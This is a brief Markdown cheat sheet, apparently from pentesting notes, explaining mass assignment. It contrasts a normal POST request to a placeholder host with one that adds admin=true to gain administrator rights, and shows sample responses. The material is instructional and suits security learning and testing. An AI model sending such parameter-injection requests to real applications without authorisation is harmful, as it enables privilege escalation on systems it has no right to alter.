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33 lines
581 B
Markdown
33 lines
581 B
Markdown
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# Mass Assignment Attack
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## Introduction
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Occurs when an app allows a user to manually add parameters in an HTTP Request & the app process value of these parameters when processing the HTTP Request & it affects the response that is returned to the user. Usually occurs in Ruby on Rails / NodeJS
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## How to Exploit
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- Normal request
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```
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POST /editdata
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Host: vuln.com
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username=daffa
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```
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```
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HTTP/1.1 200 OK
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...
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username=daffa&admin=false
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```
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- Modified Request
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```
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POST /editdata
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Host: vuln.com
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username=daffa&admin=true
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```
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```
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HTTP/1.1 200 OK
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...
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username=daffa&admin=true
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```
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